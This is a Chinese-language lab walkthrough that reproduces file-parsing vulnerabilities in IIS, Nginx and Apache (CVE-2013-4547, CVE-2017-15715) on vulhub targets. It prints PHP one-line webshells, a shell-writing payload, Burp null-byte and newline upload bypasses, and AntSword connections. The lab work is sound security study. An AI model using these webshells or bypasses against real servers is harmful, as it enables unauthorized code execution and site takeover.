一.IIS解析漏洞复现
1.IIS6.X
方式一:目录解析
搭建IIS环境
在网站下建立文件夹的名字为.asp/.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
访问成功被解析
方式一:目录解析
在IIS 6处理文件解析时,分号可以起到截断的效果。也就是说 shel.asp;.jpg会被服务器看成是shell.asp。另外IIS6.0默认的可执行文件除了asp还包含 asa\cer\cdx
创建一个文件1.asp;.jpg
写入以下内容
访问,成功被解析
2.IIS7.X
在I1S7.0和I1S7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在一个文件路径/xx.jpg后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。
首先安装phpStudyIIS版
再安装对应的Windows服务,启动phpStudy
打开IIS管理器,做如下操作,点击确定
找到php的配置文件将下面内容取消注释,重启phpStudy
在网站的根目录下创建一个1.jpg写入以下内容<?php phpinfo(); ?>,在路径后加上/.php访问,php代码被成功解析
二.Nginx解析漏洞复现
创建环境
安装docker:all docker.io
安装docker-compose:apt install docker-compose
拉取靶场镜像:git clone https://github.com/vulhub/vulhub.git
进入以下Vulhub路径并开启容器
cd /nginx/nginx_parsing_vulnerability
docker-compose build
docker-compose up -d
docker ps -a
1.nginx_parsing
这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。在一个文件/xx.jpg后面加上/.php会将/xx.jpg/xx.php 解析为 php 文件。
上传一个jpg文件写入以下代码GIF89a
<?php phpinfo(); ?>,上传
上传成功
在路径后面加入/.php访问,成功解析到文件里的php代码
2.CVE-2013-4547
上传文件,文件里写入<?php fputs(fopen('xnq.php','w'),'<?php @eval($_POST["cmd"])?>');?>
Bp开启抓包,提交查询
点击Hex,找到刚刚的两个空格,修改第二个20为00,放行
上传成功
在.php和.jpg中间输入两个空格,访问抓包
点击Hex,找到第修改的二个空格修改20为00,放行
访问成功,代码被成功执行
再访问一下我们的写入的木马文件,成功访问,说明写入成功
用中国蚁剑链接,连接成功
三.Apache解析漏洞复现
1.apache_parsing
上传一个后缀名是.php.jpg的文件里面写入<?php phpinfo(); ?>
上传成功
访问上传的文件,php代码被成功解析
2.CVE-2017-15715
上传文件,文件里写入一句话木马<?php @eval($_POST['cmd']); ?>
Bp开启抓包,提交查询
点击Hex,修改20为0a,放行
访问文件名+%0a,访问成功
用中国蚁剑链接,连接成功